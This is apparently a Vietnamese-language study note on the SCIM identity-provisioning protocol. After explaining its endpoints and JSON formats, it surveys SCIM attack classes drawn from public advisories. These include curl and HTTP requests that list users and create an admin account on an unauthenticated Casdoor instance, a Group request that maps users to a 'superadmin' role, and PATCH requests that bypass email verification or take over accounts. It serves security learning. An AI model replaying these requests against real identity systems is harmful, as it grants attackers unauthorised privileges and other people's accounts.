SCIM 101

SCIM (System for Cross-domain Identity Management) là một giao thức giúp trao đổi thông tin định danh giữa IdP và các ứng dụng cloud. Giao thức này được tạo ra để giúp IT admin có thể provision người dùng mà cụ thể hơn là tạo, duy trì và update tài khoản của người dùng cũng như là cấp quyền truy cập vào các ứng dụng cloud.

Nếu không có SCIM, IT sẽ phải thêm người dùng vào từng app mà mỗi app thì lại có các user objects (cấu trúc chứa các thông tin user chẳng hạn như username, email, etc) khác nhau. Điều này là rất tốn kém trong môi trường doanh nghiệp có hàng ngàn nhân viên. SCIM tạo ra một cấu trúc chung (với format là JSON) để trao đổi thông tin định danh một cách an toàn giữa IdP và các ứng dụng cloud.

Thông thường, SCIM hoạt động theo mô hình IdP-SP bao gồm IdP (Okta, …) và SP (ứng dụng cung cấp resource).

Resource Types

SCIM hỗ trợ sẵn một số loại resource:

  • Users
  • Groups

Ngoài 2 loại trên thì ta có thể tự thêm các custom resource type.

Endpoints

SP sẽ cung cấp một tập các RESTful APIs để IdP có thể cập nhật thông tin định danh của người dùng:

  • Create: POST https://example-SP.com/{v}/{resource}
  • Read: GET https://example-SP.com/{v}/{resource}/{id}
  • Replace: PUT https://example-SP.com/{v}/{resource}/{id}
  • Delete: DELETE https://example-SP.com/{v}/{resource}/{id}
  • Update: PATCH https://example-SP.com/{v}/{resource}/{id}
  • Search: GET https://example-SP.com/{v}/{resource}?<SEARCH_PARAMS>
  • Bulk: POST https://example-SP.com/{v}/Bulk

Get

  • /Schemas: liệt kê danh sách các schemas. Ví dụ về một schema:

    {
      "schemas": [
    	"urn:ietf:params:scim:schemas:core:2.0:Schema"
      ],
      "id": "urn:ietf:params:scim:schemas:core:2.0:User",
      "meta": {
    	"resourceType": "Schema",
    	"created": "2001-01-01T00:00:00+00:00",
    	"lastModified": "2001-01-01T00:00:00+00:00",
    	"version": "W/\"e365d45a8f4db01c3215b61464287a42cb168807\"",
    	"location": "https://api.scim.dev/scim/v2/Schemas/urn:ietf:params:scim:schemas:core:2.0:User"
      },
      "name": "User",
      "attributes": [...]
    }

    Có thể thấy, ID của schema không phải là UUID. Các attribute cũng có các field mô tả như sau:

    {
      "name": "employeeNumber",
      "type": "string",
      "mutability": "readWrite",
      "returned": "default",
      "uniqueness": "server",
      "required": false,
      "multiValued": false,
      "caseExact": false
    }
  • /Users: liệt kê danh sách các users. Ví dụ một SCIM object đại diện cho một user:

    {
      "schemas": [
    	"urn:ietf:params:scim:schemas:core:2.0:User",
    	"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User"
      ],
      "id": "9f8cf6b0-fc66-4300-973a-507a75e2e122",
      "meta": {
    	"created": "2025-08-04T03:23:50+00:00",
    	"lastModified": "2025-08-04T03:23:50+00:00",
    	"location": "https://api.scim.dev/scim/v2/Users/9f8cf6b0-fc66-4300-973a-507a75e2e122",
    	"resourceType": "User",
    	"version": "W/\"8643bfaee1d0f5507d0092eb2012a672aba29a7d\""
      },
      "urn:ietf:params:scim:schemas:extension:enterprise:2.0:User": {
    	"employeeNumber": "331944"
      },
      "userName": "Nyasia_Jacobi13",
      "name": {
    	"formatted": "Nyasia Jacobi",
    	"familyName": "Jacobi",
    	"givenName": "Nyasia"
      },
      "active": false,
      "emails": [
    	{
    	  "value": "Nyasia_Jacobi27@example.local",
    	  "type": "other",
    	  "primary": true
    	}
      ],
      "groups": [
    	{
    	  "value": "9f8cf6c6-d58d-4dba-8c65-541614fbb80e",
    	  "$ref": "https://api.scim.dev/scim/v2/Group/9f8cf6c6-d58d-4dba-8c65-541614fbb80e",
    	  "display": "sports_coordinator"
    	},
    	{
    	  "value": "9f8cf6c7-3fbd-4328-900b-c9ef653cbbeb",
    	  "$ref": "https://api.scim.dev/scim/v2/Group/9f8cf6c7-3fbd-4328-900b-c9ef653cbbeb",
    	  "display": "home_representative"
    	}
      ]
    }
  • /Users?startIndex=10&count=5: liệt kê 5 users từ index 10.

  • /Users?attributes=groups: liệt kê các users và chỉ trả về attribute groups.

  • /Users/9f8cf6b0-fc66-4300-973a-507a75e2e122: lấy ra thông tin của user có ID là 9f8cf6b0-fc66-4300-973a-507a75e2e122.

Filter

  • /Users?filter=userName sw "john": tìm kiếm các user có userName bắt đầu (sw - starts with) bằng John. Giá trị của filter param có thể bao gồm các toán tử so sánh: eq (equals), ne (not equals), co (contains), sw (starts with), ew (ends with), gt (greater than), lt (less than), ge (greater than or equal to), và le (less than or equal to) hoặc các toán tử luận lý chẳng hạn như andor. Hơn thế nữa, ta có cũng có thể dùng toán tử () để grouping.
  • /Users?attributes=groups&filter=groups.value eq "9f8cf6c6-d58d-4dba-8c65-541614fbb80e": tìm tất cả các user thuộc group có ID là 9f8cf6c6-d58d-4dba-8c65-541614fbb80e.

Create

Để tạo user, ta cần gửi JSON có chứa các thông tin của user đến endpoint Users:

{
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User",
    "urn:ietf:params:scim:schemas:extension:enterprise:2.0:User"
  ],
  "name": {
    "formatted": "Ms. Barbara J Jensen III",
    "familyName": "Jensen",
    "givenName": "Barbara"
  },
  "active": true,
  "emails": [
    {
      "value": "barbara.jensen@example.com"
    }
  ],
  "userName": "bjensen",
  "password": "changeit",
  "urn:ietf:params:scim:schemas:extension:enterprise:2.0:User": {
    "employeeNumber": "701984"
  }
}

Ta cũng có thể JSON sau để tạo user:

{
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User"
  ],
  "urn:ietf:params:scim:schemas:core:2.0:User": {
    "name": {
      "formatted": "Ms. Barbara J Jensen III",
      "familyName": "Jensen",
      "givenName": "Barbara"
    },
    "active": true,
    "emails": [
      {
        "value": "barbara.jensen@example.com"
      }
    ],
    "userName": "bjensen"
  }
}

Update

Để update một attribute cụ thể của user, ta có thể dùng PATCH request gửi đến endpoint sau /Users/{id}. Trong request body, ta cần phải sử dụng một JSON mà chỉ định attribute ta cần update:

{
  "schemas": [
    "urn:ietf:params:scim:api:messages:2.0:PatchOp"
  ],
  "Operations": [
    {
      "op": "replace",
      "path": "name.givenName",
      "value": "Barbara"
    }
  ]
}

Replace

Trong trường hợp ta muốn replace toàn bộ record thì gửi PUT request đến /Users/{id} với JSON như sau:

{
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User"
  ],
  "externalId": "jcleese",
  "name": {
    "formatted": "Mr. John Cleese",
    "familyName": "Cleese",
    "givenName": "John"
  },
  "emails": [
    {
      "value": "john.cleese@example.com"
    }
  ],
  "userName": "jcleese"
}

Có thể thấy, JSON này tương tự như khi ta tạo user.

Auth Bypasses

SCIM hoạt động trên HTTP và đặc tả có khuyên nên sử dụng các tính năng xác thực và phân quyền của HTTP:

“[REDACTED]… the SCIM service provider MUST be able to map the authenticated client to an access control policy in order to determine the client's authorization to retrieve and update SCIM resources.”

Tuy nhiên, xác thực và phân quyền không phải là bắt buộc đối với SCIM.

Một số implementation của SP không có tính năng xác thực và phân quyền. Điều này dẫn đến là bất kỳ ai cũng có thể gọi các APIs của SP.

Ví dụ: casdoor/casdoor là một nền tảng Identity Access Management (IAM) - quản lý định danh mà có hỗ trợ SCIM. Nền tảng này hoạt động dựa trên thư viện elimity-com/scim và theo mặc định thì thư viện này không hỗ trợ xác thực.

Dẫn đến, attacker có thể truy xuất danh sách các users có trong SP:

curl --path-as-is -i -s -k -X $'GET' \ 
    $'http://localhost:8000/scim/Users' 
    
{ 
    "Resources": [ 
        { 
            "active": true, 
            …[REDACTED]… 
            "id": "bcabc385-0785-4475-9bf6-ed2efeae8f3b", 
            …[REDACTED]… 
            "phoneNumbers": [ 
                { 
                    "value":<PII_INFORMATION> 
                } 
            ], 
            …[REDACTED]… 
            "schemas": [ 
                "urn:ietf:params:scim:schemas:core:2.0:User", 
                "urn:ietf:params:scim:schemas:extension:enterprise:2.0:User" 
            ], 
            "urn:ietf:params:scim:schemas:extension:enterprise:2.0:User": { 
                "organization": "built-in" 
            }, 
            "userName": "admin", 
            "userType": "normal-user" 
        } 
    ], 
    "schemas": [ 
        "urn:ietf:params:scim:api:messages:2.0:ListResponse" 
    ], 
    …[REDACTED]… 
} 

Hoặc tạo thêm một user có quyền cao trong SP:

curl --path-as-is -i -s -k -X $'POST' \ 
  -H $'Content-Type: application/scim+json'-H $'Content-Length: 377' \ 
    --data-binary $'{\"active\":true,\"displayName\":\"Admin\",\"emails\":[{\"value\":
 \"admin2@victim.com\"}],\"password\":\"12345678\",\"nickName\":\"Attacker\",
 \"schemas\":[\"urn:ietf:params:scim:schemas:core:2.0:User\",
 \"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\"],
 \"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\":{\"organization\":
 \"built-in\"},\"userName\":\"admin2\",\"userType\":\"normal-user\"}' \ 
    $'https://doyensec.casdoor.com/scim/Users' 

Chú ý rằng user được tạo phải có email domain trùng với domain được cấu hình.

Sau khi tạo thành công thì có thể đăng nhập ở IdP với username là admin2 và password là 12345678.

[Doyensec_Advisory_UnauthenticatedSCIMOperationsInCasdoorIdPInstances](https://doyensec.com/resources/Doyensec_Advisory_UnauthenticatedSCIM-CasdoorIdP.pdf)

SCIM Token Management

SCIM secret là một cách để IdP xác thực với SP. Việc chỉnh sửa baseUrl của SP khi cấu hình IdP cần phải yêu cầu nhập lại token mới. Nếu admin bị dụ để thay đổi base URL thành một base URL bị kiểm soát bởi attacker, nó sẽ gửi token cũ đến base URL mới khi attacker gửi yêu cầu đến IdP nhằm trigger một test request đến SP. Dẫn đến, attacker sẽ có được token của SP và dùng nó để gọi các APIs của SP.

Việc quản lý SCIM secret ở phía SP cũng tương tự: cần phải đảm bảo rằng nó chỉ được truy cập bởi các tài khoản có quyền cao.

Unwanted User Re-provisioning Fallbacks

Cần lưu tâm đến một số action có thể làm cho user đã bị deprovisioned (deactivated) có thể active trở lại.

Xét hàm update_scimUser dùng để update user trong đoạn code sau:

def can_be_reprovisioned?(usrObj)
		return true if usrObj.respond_to?(:active) && !usrObj.active?
		false
 
def update_scimUser(usrObj)
        # [...]
        if parser.deprovision_user?
          # [...]
        #  (o)__(o)'
        elsif can_be_reprovisioned?(usrObj) 
          reprovision(usrObj)
        else
          true
        end
      end

Khi update một deprovisioned user, do respond_to?(:active) luôn là true 🤔 và user tất nhiên không active nên việc update user sẽ làm cho user được provisioned trở lại.

Internal Attributes Manipulation

Việc chọn attribute nào từ SCIM object vào các internal object là rất quan trọng.

Giả sử một SP hỗ trợ provisioning cho Okta Groups và Users. Nó chuyển đổi Okta Groups thành các internal roles. Cụ thể hơn, hàm resource_to_access_map xây dựng một access mapping mà không validate từ SCIM object được cung cấp:

[...]
group_data, decode_error := decode_group_resource(resource.Attributes.AsMap())
 
var role_list []string
//  (o)__(o)'
if resource.Id != "" {
	role_list = []string{resource.Id}
}
//...
return access_map, nil, nil

Có thể thấy, role được map trực tiếp từ ID của SCIM object (từ resource.Id).

Dẫn đến, attacker có thể sử dụng request sau với Id là tên role để upsert một role với quyền superadmin có tên là TEST_NAME cho các users:

POST /api/scim/Groups HTTP/1.1
Host: <PLATFORM>
Content-Type: application/json; charset=utf-8
Authorization: Bearer 650…[REDACTED]…
…[REDACTED]…
Content-Length: 283
{
    "schemas": [“urn:ietf:params:scim:schemas:core:2.0:Group"],
    "id":"superadmin",
    "displayName": "TEST_NAME",
    "members": [{
        "value": "francesco@doyensec.com",
        "display": "francesco@doyensec.com"
    }]
}

Một ví dụ khác, SP ánh xạ trực tiếp SCIM request body vào trong userData object:

SSO_user.update!(
        external_id: scim_data["externalId"],
        #         (o)__(o)' 
        userData: Oj.load(scim_req_body),
      )

Attacker có thể thêm nhiều field khác vào trong request body (scim_req_body) để có thể được ánh xạ vào trong userData.

Verification Bypasses

Đây là các lỗ hổng liên quan đến việc thiếu bước xác thực khi xảy ra các SCIM events chẳng hạn như update email, phone hoặc userName.

Ví dụ: GitLab | Report #565883 - Bypass Email Verification — Able to Access Internal Gitlab Services that use Login with Gitlab and Perform Check on email domain | HackerOne. Report này liên quan đến việc attacker là org owner có thể tạo tài khoản và invite vào org với bất kỳ email nào mà không cần thực hiện xác thực email.

Để làm được điều này, attacker cần setup SAML SSO và tạo SCIM token. Sau đó, sử dụng SCIM token để gửi SCIM request sau để tạo user:

POST /api/scim/v2/groups/YOUR_GROUP_NAME/Users HTTP/1.1
Host: gitlab.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/scim+json
Authorization: Bearer YOUR_SCIM_TOKEN
Content-Length: 291
 
{
  "externalId": "REPLACE_ME",
  "active": null,
  "userName": "anyusernamewilldo",
  "emails": [
    {"primary": true, "type": "work", "value": "ANYGITLABEMAIL@gitlab.com"}
  ],
  "name": {
    "formatted" : "Test User",
    "familyName": "User",
    "givenName" : "Test3"
  },
  "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
  "meta": {"resourceType": "User"}
}

Đáng lẽ application cần phải restrict account được tạo ra cho đến khi nó được xác thực email.

[Bypass Email Verification -- Able to Access Internal Gitlab Services that use Login with Gitlab and Perform Check on email domain (#11643) · Issue · gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab/-/issues/11643)

Một ví dụ khác: việc thay đổi email không trigger quá trình xác thực email. Khi đó, attacker có thể request verification code cho email hiện tại, thay đổi email hiện tại thành email của victim rồi hoàn thành quá trình xác thực email. Khi đó, tài khoản của attacker sẽ được bind với email của victim mà đã được xác thực.

PATCH /scim/v2/<ATTACKER_SAML_ORG_ID>/<ATTACKER_USER_SCIM_ID> HTTP/2
Host: <CLIENT_PLATFORM>
Authorization: Bearer <SCIM_TOKEN>
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 205
 
{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
	{
	  "op": "replace",
	  "value": {
		"userName": "<VICTIM_ADDRESS>"
	}
	}
  ]
}

Account Takeover later

Liên quan đến multi-tenant platforms.

[Account take over via SCIM email change (#363058) · Issue · gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab/-/issues/363058)

Interesting SCIM Ops Syntax

Liên quan đến attribute path trong JSON của SCIM request (ví dụ trong JSON của Update). Theo RFC7644, thuộc tính path là optional cho thao tác add và replace và là bắt buộc cho thao tác delete.

Do path là optional cho thao tác add và replace nên có thể xảy ra trường hợp nó bị null. Xét đoạn code sau:

def exec_scim_ops(scim_identity, operation)
        path = operation["path"]
        value = operation["value"]
 
        case path
        when "members"
          # [...]
        when "externalId"
          # [...]
        else
          # semi-Catch-All Logic!
        end
      end

Xét JSON sau:

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "externalId": "<ID_INJECTION>"
        }
    }
  ]
}

Khi pathnull thì code sẽ thực thi default branch và không thực hiện kiểm tra externalId. Dẫn đến, giá trị của externalId vẫn được cập nhật thành <ID_INJECTION> mà không được validate. Do field value của op có thể là một dictionary nên thay vì dùng "path": "externalId", "value": "<ID_INJECTION>" thì payload trên dùng "value": {"externalId": "<ID_INJECTION>"} mà vẫn có thể update được field externalId.

Bulk Ops Order Evaluation later

Liên quan đến Bulk operations của SCIM

[Bulk Operations | scim.dev](https://scim.dev/playground/bulk.html)

JSON Interoperability

Liên quan đến An Exploration & Remediation of JSON Interoperability… | Bishop Fox và sự khác biệt giữa các JSON parser có thể dẫn đến trường hợp thú vị sau:

Xem thêm An Exploration of JSON Interoperability Vulnerabilities.

Resources